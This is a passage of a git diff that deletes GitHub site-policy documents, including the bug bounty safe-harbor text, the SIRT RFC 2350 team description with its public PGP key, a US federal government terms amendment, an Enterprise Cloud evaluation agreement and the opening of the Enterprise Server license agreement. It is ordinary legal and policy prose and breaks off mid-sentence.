indemnify, or otherwise protect you from any third party action based on your actions. - -That said, if legal action is initiated by a third party, including law enforcement, against you because of your participation in this bug bounty program, and you have sufficiently complied with our bug bounty policy (i.e. have not made intentional or bad faith violations), we will take steps to make it known that your actions were conducted in compliance with this policy. While we consider submitted reports both confidential and potentially privileged documents, and protected from compelled disclosure in most circumstances, please be aware that a court could, despite our objections, order us to share information with a third party. - -## 3. Limited Waiver of Other Site Policies - -To the extent that your security research activities are inconsistent with certain restrictions in our [relevant site policies](/site-policy) but consistent with the terms of our bug bounty program, we waive those restrictions for the sole and limited purpose of permitting your security research under this bug bounty program. Just like above, if in doubt, ask us first! diff --git a/content/site-policy/security-policies/github-sirt-description-rfc-2350.md b/content/site-policy/security-policies/github-sirt-description-rfc-2350.md deleted file mode 100644 index 240e844bc840..000000000000 --- a/content/site-policy/security-policies/github-sirt-description-rfc-2350.md +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: GitHub SIRT description RFC 2350 -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - - -## 1. Document Information - -TLP:CLEAR - -### 1.1 Date of Last Update - -Version 1.01, updated 2025-01-30. - -### 1.2 Distribution List for Notifications - -There is no distribution list for changes to this document. - -### 1.3 Locations where this Document May Be Found - -The current version of this document may be found at: - -https://docs.github.com/site-policy/security-policies/github-sirt-description-rfc-2350 - -## 2. Contact Information - -### 2.1 Name of the Team - -GitHub Security Incident Response Team (SIRT) - -Subteams: - -* Corporate Security Incident Response Team (CSIRT) -* Product Security Incident Response Team (PSIRT) -* Bug Bounty - -### 2.2 Address - -GitHub SIRT -88 Colin P. Kelly Jr. St. -San Francisco, CA 94107 -United States - -### 2.3 Time Zone - -Our team mainly works in the contiguous United States and keeps to these hours: - -* EST/EDT -* CST/CDT -* MST/MDT -* PST/PDT - -### 2.4 Telephone Number - -None available. - -### 2.5 Facsimile Number - -None available. - -### 2.6 Other Telecommunication - -None available. - -### 2.7 Electronic Mail Address - -security(at)github(dot)com - -This relays email to the human(s) on duty for GitHub SIRT. - -### 2.8 Public Keys and Encryption Information - -GitHub SIRT has a PGP public key: - -* Key ID: `78DCCCE9923E5CFB3CAA5D5AB79DBDA3BE944D9E` -* Key expiry: `2025-09-12` - -```text ------BEGIN PGP PUBLIC KEY BLOCK----- - -mDMEZQHKOxYJKwYBBAHaRw8BAQdAzvtu6OfJTspbWTVVU2uDeljmfEr1qYkvD25w -NKB2twq0JUdpdEh1YiBTZWN1cml0eSA8c2VjdXJpdHlAZ2l0aHViLmNvbT6ImQQT -FgoAQRYhBHjczOmSPlz7PKpdWredvaO+lE2eBQJlAco7AhsDBQkDwmcABQsJCAcC -AiICBhUKCQgLAgQWAgMBAh4HAheAAAoJELedvaO+lE2e1voA/31lJyof7nWI1Mxs -x3MHhwp5sFh2P/pFucuNKb7ciwMMAQCCAk39cSFs2WWw8aZC7lqXNJcFiMn0r+wm -i6I3pWjiA7g4BGUByjsSCisGAQQBl1UBBQEBB0C0jKXWh6G8atXCJi2xsy71+NzX -0Y2WN8yj3f59MGHYfAMBCAeIfgQYFgoAJhYhBHjczOmSPlz7PKpdWredvaO+lE2e -BQJlAco7AhsMBQkDwmcAAAoJELedvaO+lE2eozABAIbzLwvaACiKFzXYjp9Zpenv -GEHeqggLGzHpEheyoBMkAP96NI0kzYvj+zhJZ/4Y3TIDZaOD8OXezwia9E2Bxf5O -Aw== -=4+TC ------END PGP PUBLIC KEY BLOCK----- -``` - -### 2.9 Team Members - -The list of team members is not publicly available. - -### 2.10 Other Information - -None available. - -### 2.11 Points of Customer Contact - -Vulnerabilities should be reported to our bug bounty program: - -https://bounty.github.com - -GitHub customers should contact their account manager or GitHub Support for first level support and escalations: - -https://support.github.com - -Other security related communications can be directed to our email address detailed in Section 2.7. - -## 3. Charter - -### 3.1 Mission Statement - -GitHub is committed to maintaining the confidentiality, integrity, and availability of both its platform and the intellectual property and personal information of its users, customers, and employees. In order to ensure these principles are upheld, GitHub maintains robust vulnerability management, incident response, and threat hunting capabilities. - -### 3.2 Constituency - -Our constituency is any individual or organization that uses a GitHub product or service, as well as GitHub employees, contractors, and GitHub Inc. - -Some examples of GitHub products and services are: - -* GitHub.com -* GitHub Enterprise Server -* GitHub Actions -* GitHub Desktop -* GitHub CLI -* GitHub API -* npm - -### 3.3 Sponsorship and/or Affiliation - -GitHub SIRT is a team within GitHub. Funding is provided by GitHub. - -### 3.4 Authority - -GitHub SIRT operates under the authority of the Chief Information Security Officer of GitHub. - -## 4. Policies - -### 4.1 Types of Incidents and Level of Support - -GitHub SIRT is authorized to address all types of computer security incidents which occur, or threaten to occur, within its constituency. - -The level of support depends on the type and severity of the given security incident, the number of affected entities within our constituency, and our resources at the time. - -### 4.2 Co-operation, Interaction and Disclosure of Information - -GitHub SIRT takes every effort to safely and securely share information with affected parties during incident response situations while respecting the privacy and trust of our constituents. - -### 4.3 Communication and Authentication - -GitHub SIRT makes use of the Traffic Light Protocol (TLP) for information sharing. - -Email is the preferred method of communication. All sensitive information should be encrypted using the GitHub SIRT PGP key (as detailed in Section 2.8) prior to sending. - -## 5. Services - -### 5.1 Incident Response - -GitHub SIRT is responsible for incident response internally at GitHub where at least one member of the constituency is affected. - -GitHub SIRT does not provide incident response services for customers. Every effort is made to provide timely and accurate information during security incidents to affected customers so they can conduct their own investigations and respond appropriately. See section 2.11 for customer points of contact. - -#### 5.1.1 Incident Triage - -GitHub SIRT carries out the following activities for incident triage: - -* Security signals are collected and interpreted to determine risk, severity, and priority. -* Investigation as to whether an incident occurred and what its effect and impact was. - -This list is not exhaustive. - -#### 5.1.2 Incident Coordination - -GitHub SIRT carries out the following activities for incident coordination: - -* Situational awareness and analysis for stakeholders such as engineering, legal, and support teams. -* Command role with authority to direct resources as required. -* External coordination with affected or involved third-parties. - -This list is not exhaustive. - -#### 5.1.3 Incident Resolution - -GitHub SIRT carries out the following activities for incident resolution: - -* Engages relevant internal teams to eradicate, restore, and secure. -* Collection and storage of evidence for internal use as well as potential law enforcement involvement. -* Notification to affected constituents. -* Postmortem authoring with lessons learned and post-incident repair items. - -This list is not exhaustive. - -### 5.2 Proactive Activities - -GitHub SIRT develops, maintains, and operates threat hunting and detection tools and techniques to proactively identify risks and threats. - -Work is also done on education, preparation, workflow development, and community outreach. - -## 6. Incident Reporting Forms - -None available. Please review Section 2.11 for reporting guidance. - -## 7. Disclaimers - -While every precaution will be taken in the preparation of information, notifications and alerts, GitHub SIRT assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained within. diff --git a/content/site-policy/security-policies/index.md b/content/site-policy/security-policies/index.md deleted file mode 100644 index 51212f8c522c..000000000000 --- a/content/site-policy/security-policies/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Security Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /coordinated-disclosure-of-security-vulnerabilities - - /github-bug-bounty-program-legal-safe-harbor - - /github-sirt-description-rfc-2350 ---- - diff --git a/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md b/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md deleted file mode 100644 index 2dce0a965f56..000000000000 --- a/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Amendment to GitHub Terms of Service Applicable to U.S. Federal Government Users -hidden: true -redirect_from: - - /articles/amendment-to-github-terms-of-service-applicable-to-government-users - - /articles/proposed-amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users - - /articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users - - /articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users - - /github/site-policy/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users - - /github/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users -versions: - fpt: '*' ---- - - -_These terms apply to Customers who licensed the Products prior to January 4, 2021. Customers who purchase GitHub Products after that date are directed to https://github.com/customer-terms for current terms._ - -> [!NOTE] -> This Amendment to GitHub's [Terms of Service](/site-policy/github-terms/github-terms-of-service) applies only to users that are using GitHub on behalf of the United States federal government. If you are not using GitHub on behalf of the U.S. federal government, the standard [GitHub Terms of Service](/site-policy/github-terms/github-terms-of-service) apply to you. - -This Amendment is an agreement between GitHub, Inc. ("GitHub" or "Company") and U.S. federal government users of the GitHub.com web site (the “Service”) and applies solely to any U.S. federal government agency and its users who use or access the Service on behalf of the U.S. federal government (the "Government"). - -You, as a United States government entity, are required, when entering into agreements with other parties, to follow applicable federal laws and regulations, including those related to ethics; privacy and security; accessibility; records retention; limitations on indemnification; fiscal law constraints; advertising and endorsements; freedom of information; and governing law and dispute resolution forum. - -GitHub and You (together, the "Parties") agree that modifications to the [GitHub Terms of Service](/site-policy/github-terms/github-terms-of-service) (the "ToS") are appropriate to accommodate Your legal status, Your public (in contrast to private) mission, and other special circumstances. Accordingly, the ToS are hereby modified by this Amendment as they pertain to the Government's use of the Company web site and services: - -## A. Public purpose - -1. _Government entity_ - "You" within the ToS shall mean the Government itself and shall not bind, in their individual capacity, the individual(s) who utilize the Company site or services on the Government's behalf. Company will look solely to the Government to enforce any violation or breach of the ToS by such individuals, subject to federal law. - -1. _Advertisements_ - Company hereby agrees not to serve or display any third-party commercial advertisements or solicitations on any pages within the Company site displaying content created by or under the control of the Government. This exclusion shall not extend to house ads, which Company may serve on such pages in a non-intrusive manner. The foregoing obligations are contingent upon the email address designated on Your account details page ending in `.gov`, `.mil`, or `.fed.us`. - -## B. Your content on GitHub - -1. _Access and use_ - Company acknowledges that the Government's use of the Service may energize significant citizen engagement. Language in the ToS allowing Company to terminate service, refuse or remove any Content, or close the Government's account, at any time, for any reason, is modified to reflect the Parties' agreement that Company may unilaterally modify or discontinue service, temporarily or permanently, refuse or remove any Content, and/or terminate the Government's account only for breach of the Government’s obligations under the ToS or its material failure to comply with the instructions and guidelines posted on the Service, or if Company ceases to operate the Service generally. Company will provide the Government with a reasonable opportunity to cure any breach or failure on the Government's part. - -1. _No endorsement_ - Company agrees that Your seals, trademarks, logos, service marks, trade names, and the fact that You have a presence on the Company site and use its services, shall not be used by Company in such a manner as to state or imply that Company's products or services are endorsed, sponsored or recommended by You or by any other element of the federal government, or are considered by these entities to be superior to any other products or services. Except for pages whose design and content is under the control of the Government, or for links to or promotion of such pages, Company agrees not to display any government seals or logos on the Company's homepage or elsewhere on the Company Site, unless permission to do so has been granted by the Government or by other relevant federal government authority. Company may list the Government's name in a publicly available customer list so long as the name is not displayed in a more prominent fashion than that of any other third-party name. - -1. _Provision of data_ - In case of termination of service, within 30 days of such termination, upon request, Company will provide you with all user-generated content that is publicly visible through the Sites You created at Company. Data will be provided in a commonly used file or database format as Company deems appropriate. Company will not provide data if doing so would violate its privacy policy, available at [https://docs.github.com/privacy](/site-policy/privacy-policies/github-privacy-statement). - -## C. Unpaid and paid plans - -1. _No cost agreement_ - Nothing in this Amendment or ToS obligates You to expend appropriations or incur financial obligations. The Parties acknowledge and agree that none of the obligations arising from this Amendment or ToS are contingent upon the payment of fees by one party to the other. At the Company’s discretion, GitHub may offer a free account under a free usage plan, such as a Free for Open Source Plan, and in that case this Amendment will apply to the Government’s usage under the free account/plan. This Amendment also applies when the Government uses one of GitHub’s paid usage plans. - -1. _Government responsibilities under paid usage plans_ - You acknowledge that while Company will provide You with service under a free plan, Company reserves the right to begin charging for that service at some point in the future. Company will provide You with at least 30 days advance notice of a change involving the charging of fees for a free service. You also understand that Company offers paid plans for a fee. The Parties understand that fee-based services are categorically different than free products, and are subject to federal procurement rules and processes. Before the Government decides to enter into a business or enterprise subscription, or any other fee-based service that this Company or alternative providers may offer now or in the future, You agree: to determine the Government has a need for those additional services for a fee; to consider the subscription's value in comparison with comparable services available elsewhere; to determine that Government funds are available for payment; to properly use the Government Purchase Card if that Card is used as the payment method; to review any then-applicable ToS for conformance to federal procurement law; and in all other respects to follow applicable federal acquisition laws, regulations and agency guidelines (including those related to payments) when initiating that separate action. - -1. _No business relationship created_ - The Parties are independent entities and nothing in this Amendment or ToS creates an agency, partnership, joint venture, or employer/employee relationship. - -## D. Federal Regulations - -1. _Security_ - Company will, in good faith, exercise due diligence using generally accepted commercial business practices for IT security, to ensure that systems are operated and maintained in a secure manner, and that management, operational and technical controls will be employed to ensure security of systems and data. Recognizing the changing nature of the Web, Company will continuously work with users to ensure that its products and services are operated and maintained in a secure manner. Company agrees to discuss implementing additional security controls as deemed necessary by the Government to conform to the Federal Information Security Management Act (FISMA), 44 U.S.C. 3541 et seq. - -1. _Federal Records_ - Government acknowledges that use of Company's site and services may require management of Federal records. Government and user-generated content may meet the definition of Federal records as determined by the agency. If the Company holds Federal records, the Government and the Company must manage Federal records in accordance with all applicable records management laws and regulations, including but not limited to the Federal Records Act (44 U.S.C. chs. 21, 29, 31, 33), and regulations of the National Archives and Records Administration (NARA) at 36 CFR Chapter XII Subchapter B). Managing the records includes, but is not limited to, secure storage, retrievability, and proper disposition of all Federal records including transfer of permanently valuable records to NARA in a format and manner acceptable to NARA at the time of transfer. The Government is responsible for ensuring that the Company is compliant with applicable records management laws and regulations through the life and termination of the Agreement. - -## E. General Conditions - -1. _Indemnification_ - Any provisions in the ToS related to indemnification, damages, attorney’s fees, and settlement are hereby waived. Liability of the Government for any breach of the ToS or this Agreement, or any claim, demand, suit or proceeding arising from the ToS or this Agreement, shall be determined under the Federal Tort Claims Act, or other governing authority. Liability of Company for any breach of the ToS or this Agreement, or any claim, demand, suit or proceeding arising from the ToS or this Agreement, shall be determined by applicable federal or state law. - -1. _Limitation of liability_ - The Parties agree that nothing in the Limitation of Liability clause or elsewhere in the ToS in any way grants Company a waiver from, release of, or limitation of liability pertaining to, any past, current or future violation of federal law. - -1. _Governing law and Forum_ - The dispute resolution provision in the ToS is hereby deleted. The ToS and this Amendment shall be governed, interpreted and enforced in accordance with applicable federal laws of the United States of America and exclusive jurisdiction shall be in the appropriate U.S. federal courts. To the extent permitted by federal law, the laws of the State of California will apply in the absence of federal law. - -1. _Assignment_ - Neither party may assign its obligations under this Amendment or ToS to any third-party without prior written consent of the other; however, GitHub may, without the Government's consent, assign its obligations to an Government using the service under a free usage plan under this Amendment or ToS to an affiliate or to a successor or acquirer, as the case may be, in connection with a merger, acquisition, corporate reorganization or consolidation, or the sale of all or substantially all of GitHub's assets. - -## F. Changes to this agreement - -1. _Precedence; Further Amendment; Termination_ - This Amendment constitutes an amendment to the ToS; language in the ToS indicating it may not be modified or that it alone is the entire agreement between the Parties is waived. If there is any conflict between this Amendment and the ToS, or between this Amendment and other rules or policies on the Company site or services, this Amendment shall prevail. This Amendment may be further amended only upon written agreement executed by both Parties. The Government may close its account and terminate this agreement at any time. Company may close Government's account and terminate this agreement on 30 days written notice, but the Government shall not be entitled to a refund of any fees paid. - -1. _Posting and availability of this Amendment_ - The parties agree this Amendment contains no confidential or proprietary information, and either party may release it to the public at large. diff --git a/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md b/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md deleted file mode 100644 index 2ceb6dc17b61..000000000000 --- a/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: GitHub Enterprise Cloud Evaluation Agreement -hidden: true -redirect_from: - - /articles/github-enterprise-cloud-evaluation-agreement - - /github/site-policy/github-enterprise-cloud-evaluation-agreement - - /github/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement -versions: - fpt: '*' ---- - - -_These terms apply to Customers who licensed the Products prior to January 4, 2021. Customers who purchase GitHub Products after that date are directed to https://github.com/customer-terms for current terms._ - -THANK YOU FOR CHOOSING GITHUB FOR YOUR COMPANY'S BUSINESS NEEDS. PLEASE READ THESE TERMS CAREFULLY AS IT GOVERNS YOUR EVALUATION USE OF THE SERVICE, UNLESS GITHUB HAS EXECUTED A SEPARATE WRITTEN AGREEMENT WITH YOU FOR THAT PURPOSE. BY CLICKING ON THE "I AGREE" OR SIMILAR BUTTON OR BY ACCESSING THE SERVICE ON A TRIAL BASIS, YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS EVALUATION AGREEMENT. IF YOU ARE ENTERING INTO THIS EVALUATION AGREEMENT ON BEHALF OF A COMPANY OR OTHER LEGAL ENTITY (HEREINAFTER REFERRED TO AS "**CUSTOMER**"), CUSTOMER REPRESENTS THAT IT HAS THE LEGAL AUTHORITY TO BIND THE COMPANY OR OTHER LEGAL ENTITY TO THIS EVALUATION AGREEMENT. ALSO, BY ACCEPTING THESE TERMS, CUSTOMER AGREES THAT IT HAS READ GITHUB'S PRIVACY STATEMENT. - -## 1. Corporate Terms of Service - -Customer must have a Corporate Account on GitHub.com in order to have evaluation access. Customer's evaluation of Enterprise Cloud will be governed by these terms and the Corporate Terms of Service (found at [https://docs.github.com/articles/github-corporate-terms-of-service](/site-policy/github-terms/github-corporate-terms-of-service)) (together, the "**Evaluation Agreement**"). However, any supplemental terms associated with [Enterprise Cloud Addendum](/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement) **will not** apply until Customer upgrades its purchase to a paid subscription to Enterprise Cloud. Any capitalized terms not defined in this Evaluation Agreement are defined in the Corporate Terms of Service. - -## 2. Term and Termination - -_2.1 Term._ "Evaluation Agreement Effective Date" is the date on which Customer agrees to the terms and conditions of this Evaluation Agreement. This Agreement begins on the Evaluation Agreement Effective Date and continues in effect for fourteen (14) days ("**Evaluation Term**"). - -_2.2 Termination._ Either party may terminate this Evaluation Agreement for any reason, without cause. Section 2.3 will apply to either party's election to terminate this Evaluation Agreement. This Evaluation Agreement will terminate immediately, without the requirement of notice, if Customer breaches any terms of the Evaluation Agreement. - -_2.3 Effect of Termination._ Upon expiration of the Evaluation Term, any Subscription Licenses will automatically terminate; Customer will no longer have the right to use Enterprise Cloud; and Customer may lose access to Content, features, or capacity of its account. Please see the "Effect of Termination" section of the Corporate Terms of Service for information on obtaining a copy of that Content. - -## 3. Warranties and Disclaimers - -CUSTOMER UNDERSTANDS AND AGREES THAT ANY MATERIALS OR INFORMATION THAT GITHUB PROVIDES OR THAT CUSTOMER HAS ACCESS TO UNDER THIS EVALUATION AGREEMENT (INCLUDING, WITHOUT LIMITATION, ANY CONFIDENTIAL INFORMATION OR EVALUATION ACCOUNT MATERIALS) ARE PROVIDED "**AS IS**", AND WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. GITHUB SPECIFICALLY DISCLAIMS ANY AND ALL IMPLIED WARRANTIES OR CONDITIONS OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. - -## 4. Limitation of Liability - -IN NO EVENT WILL GITHUB BE LIABLE TO CUSTOMER OR TO ANY THIRD PARTY FOR ANY INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY OR PUNITIVE DAMAGES, INCLUDING BUT NOT LIMITED TO DAMAGES FOR LOST DATA, LOST PROFITS OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, TORT (INCLUDING WITHOUT LIMITATION PRODUCTS LIABILITY, STRICT LIABILITY AND NEGLIGENCE), OR ANY OTHER THEORY, AND WHETHER OR NOT THE PARTY KNEW OR SHOULD HAVE KNOWN ABOUT THE POSSIBILITY OF SUCH DAMAGE. IN NO EVENT WILL GITHUB'S AGGREGATE LIABILITY ARISING OUT OF OR RELATED TO THIS EVALUATION AGREEMENT FOR ANY CAUSE WHATSOEVER, AND REGARDLESS OF THE FORM OF ACTION, WHETHER IN CONTRACT OR IN TORT, EXCEED FIVE HUNDRED DOLLARS ($500.00) USD. THE FOREGOING LIMITATIONS WILL APPLY NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY LIMITED REMEDY STATED IN THIS EVALUATION AGREEMENT. - -## 5. Privacy - -5.1 As part of the development and evaluation of our evaluation programs, GitHub needs to collect information about how Customer uses services and programs and how GitHub can improve them. GitHub may collect certain additional personal information from Customer. For example, GitHub may invite Customer to provide Feedback (as explained in Section 6 below). GitHub might ask questions about Customer's experiences, familiarity with the product, or demographic information. GitHub uses this information to improve its products and services and does not sell Feedback to third parties or advertisers. Customer may decline to provide Feedback, decline to answer specific questions, or contact GitHub to delete or alter the information it has collected about Customer. - -5.2 GitHub's servers are located in the United States. GitHub processes Customer's data in the United States. However, Customer is responsible for determining what personal data it submits to GitHub. Please see the [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) for more information. - -## 6. Feedback - -GitHub is always trying to improve its products and services, and Customer's Feedback about its evaluation account will help do that. If Customer chooses to provide GitHub with any Feedback, Customer acknowledges and agrees that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into GitHub products, services, and documentation. - -## 7. Amendments; Waivers; No Third-Party Beneficiaries - -This Evaluation Agreement may not be changed, except by a writing signed by both parties or by an update to the Generally Applicable Terms. If any term, condition, or provision in this Evaluation Agreement is found to be invalid or unenforceable, the remaining terms will continue to be valid and enforceable to the fullest extent permitted by law. The parties expressly agree that there are no third-party beneficiaries to this Evaluation Agreement. - -## 8. Entire Agreement; Order of Precedence - -The Generally Applicable Terms together with this Evaluation Agreement contain the entire agreement of the parties with respect to its subject matter and supersede all prior communications, representations, understandings and agreements, whether written or oral. The terms or conditions of any of Customer's purchase orders, acknowledgements, or other documents sent to GitHub in connection with this Evaluation Agreement will be null and void, and of no effect. In the event of a conflict between this Evaluation Agreement and the Generally Applicable Terms, this Evaluation Agreement will govern with respect to the relevant provision for the Evaluation Term of the Evaluation Agreement. diff --git a/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md b/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md deleted file mode 100644 index 80e34f025158..000000000000 --- a/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: GitHub Enterprise Server License Agreement -hidden: true -redirect_from: - - /articles/github-enterprise-server-license-agreement - - /github/site-policy/github-enterprise-server-license-agreement - - /github/site-policy-deprecated/github-enterprise-server-license-agreement -versions: - fpt: '*' ---- - -_These terms apply to Customers who have executed agreements in place referencing them. All other corporate customers are directed to https://github.com/customer-terms for current terms._ - -This Agreement applies to the following GitHub offerings, as further defined below (collectively, the **“Products”**): - -* The Software (which may include Add-on Software, such as Advanced Security, Insights and Learning Lab for Enterprise Server); - -* Any related Support; and - -* Any related Professional Services. - -If Customer has purchased the Products from a GitHub Partner, the following provisions of this Agreement will be superseded by the terms between Customer and the GitHub Partner: Section 8, Payment; Section 9, Delivery; Section 10, Verification; and Section 17, Term and Termination. - -**1. Definitions.** Capitalized words not listed here will be defined within the Agreement. - -”**Add-On Software**” means Advanced Security, Insights, Learning Lab for Enterprise Server and other additional Software add-on products that GitHub may offer from time to time. - -“**Advanced Security**” means the Software feature which enables Customer to identify security vulnerabilities through customizable and automated semantic code analysis. - -"**Agreement Effective Date**" is the earlier of the date that Customer either clicks "I Agree" to the terms and conditions of this Agreement, or that it first places an order for the Products. - -"**Affiliate**" means any entity that directly or indirectly controls, is controlled by, or is under common control with a party where "control" means having more than fifty percent (50%) ownership or the right to direct the management of the entity. - -"**Beta Previews** means software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings. - -"**Customer**" means the company or organization that has entered into this Agreement with GitHub by clicking on the "I AGREE" or similar button or by accessing the Products. - -"**Customer Modifications**" means Software modifications Customer may make solely for the purpose of developing bug fixes, customizations, or additional features to any libraries licensed under open source licenses that may be included with or linked to by the Software. - -"**Documentation**" means any manuals, documentation and other supporting materials related to the Software that GitHub provides or makes available to Customer. Documentation is considered part of the Software. - -"**Feedback**" means any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback on GitHub products or services. - -"**Fees**" means the fees Customer is required to pay GitHub to use the Products during the applicable Subscription Term or Professional Services, as such fees are reflected on an Order Form or SOW. - -"**GitHub Insights**" or “**Insights**” means the Software feature which provides Customer with metrics, analytics, and recommendations relating to their use of the Software. GitHub Insights does not include legacy features of GitHub including Organization insights and repository insights. - -"**GitHub Partner**" means a company authorized to resell GitHub Products under the terms and conditions of GitHub's Channel Partner Agreement. - -"**Learning Lab for Enterprise Server**" means the Software feature that enables Users to learn about GitHub functionality, including associated Documentation. - -"**License Effective Date**" means the effective date of each Order Form as stated therein. - -"**License Key**" means the data file used by the Software's access control mechanism that allows you to install, operate, and use the Software is delivered via a secure, password-protected website. - -"**Order Form**" means written or electronic documentation (including a quote) that the Parties use to order the Products. - -"**Parties**" means references to GitHub and Customer collectively. Each may be referred to individually as a "**Party**". - -"**Professional Services**" means training, consulting, or implementation services that GitHub provides to Customer pursuant to a mutually executed SOW. Professional Services do not include Support. - -"**Release**" means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains enhancements, new features, or new functionality, generally indicated by a change in the digit to the right of the first decimal point (e.g., x.x.x to x.y.x) or to the left of the first decimal point (e.g., x.x.x to y.x.x). - -"**Software**" means GitHub's proprietary Enterprise Server software. Software includes any applicable Documentation, any Updates to the Software that GitHub provides to Customer or that Customer can access under this Agreement, and, if included in Customer’s subscription, Add-On Software. - -**"SOW"** means a mutually executed statement of work detailing the Professional Services GitHub will perform, any related Fees, and each Party's related obligations. - -**“Subscription License”** means the license assigned to each User to install, operate, access, and use the Software on Customer’s behalf. Customer may only assign one Subscription License per User across its GitHub Enterprise Server instances. Each User will have access to as many of Customer’s Enterprise Server instances, as Customer permits. For clarity, however, once Customer assigns a Subscription License to a User, Customer will not be authorized to bifurcate the Subscription License so that one User can use a Subscription License on Enterprise Server while another User uses the same Subscription License on another instance of GitHub Enterprise Server. - -"**Subscription Term**" means the period of one (1) year from the License Effective Date unless an alternate period is specified in an Order Form. GitHub will provide Customer with a renewal notice at least sixty (60) days before the expiration of the Subscription Term and will generate a new Order Form for renewal. GitHub will provide a new License Key for Customer to download that will allow continued use of the Software in accordance with the Order Form. - -"**Support**" means technical support for the Software that GitHub may provide. - -"**Update**" means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains error corrections or bug fixes, generally indicated by a change in the digit to the right of the second decimal point (e.g., x.x.x to x.x.y). - -"**User**" means a single person or Machine Account that initiates the execution of the Software or interacts with or directs the Software in the performance of its functions. - -**2. Software License Grant.** GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to install and use the Software for Customer’s internal business purposes during the applicable Subscription Term, in accordance with the Documentation, and only for the number of Subscription Licenses stated in Customer’s Order Form. The Software includes components licensed to GitHub by third parties, including software whose licenses require GitHub to make the source code for those components available. The source code for such components will be provided upon request. Without limiting the foregoing, this license permits Customer to download and run Microsoft SQL Server Standard Edition container image for Linux files (“**SQL Server Images**”), which may be used only with the Software as documented. Customer’s right to use the SQL Server Images ends when Customer no longer has rights to use the Software, and Customer must uninstall the SQL Server Images when its right to use them ends. Microsoft Corporation may disable SQL Server Images at any time. - -**3. License Restrictions.** Except as expressly permitted by law or by applicable third-party license, Customer and its Affiliates must not and must not allow any third party to: (i) sublicense, sell, rent, lease, transfer, assign, or redistribute the Software; (ii) host the Software for the benefit of third parties; (iii) disclose or permit any third party to access the Software, except as expressly permitted in Section 2; (iv) hack or modify the License Key, or avoid or change any license registration process; (v) except for Customer Modifications, modify or create derivative works of the Software, or merge the Software with other software; (vi) disassemble, decompile, bypass any code obfuscation, or otherwise reverse engineer the Software or attempt to derive any of its source code, in whole or in part; (vii) modify, obscure, or delete any proprietary rights notices included in or on the Software or Documentation; or (viii) otherwise use or copy the Software or Documentation in a manner not expressly permitted by this Agreement. - -**4. Intellectual Property Rights.** As between the Parties, GitHub owns all right, title and interest, including all intellectual property rights, in and to the Products. GitHub reserves all rights in and to the Products not expressly granted to Customer under this Agreement. - -**5. Feedback.** Customer may provide Feedback to GitHub regarding the Products. Feedback is voluntary and is not Customer Confidential Information, even if designated as such. GitHub may fully exercise and exploit such Feedback for the purpose of (i) improving the operation, functionality and use of GitHub’s existing and future product offerings and commercializing such offerings; and (ii) publishing aggregated statistics about the quality of the Products, provided that no data in any such publication will be used to specifically identify Customer, its employees or Customer’s proprietary software code. - -**6. Subscription Licenses.** Subscription Licenses are granted on a per User basis and multiple Users may not use the same Subscription License. Customer may reassign a Subscription License to a new User only after ninety (90) days from the last reassignment of that same Subscription License, unless the reassignment is due to (i) permanent hardware failure or loss, (ii) termination of the User’s employment or contract, or (iii) temporary reallocation of Subscription Licenses to cover a User’s absence. When Customer reassigns a Subscription License from one User to another, Customer must block the former User’s access to the Subscription License. - -**7. Affiliates.** Customer’s Affiliates are authorized to use the Software in accordance with this Agreement, so long as Customer remains fully responsible for their access and use of the Software. - -**8. Payment** - -**8.1** _Fees._ Customer agrees to pay the Fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. Customer must pay the Fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as provided in Sections 13 and 14.1. If Customer fails to pay any Fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable Order Form or SOW. Customer is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement. - -**8.2** _Purchasing Additional Subscription Licenses._ Customer may obtain additional Subscription Licenses under this Agreement by submitting a request through GitHub’s website or via its sales team. A new Order Form will then be generated 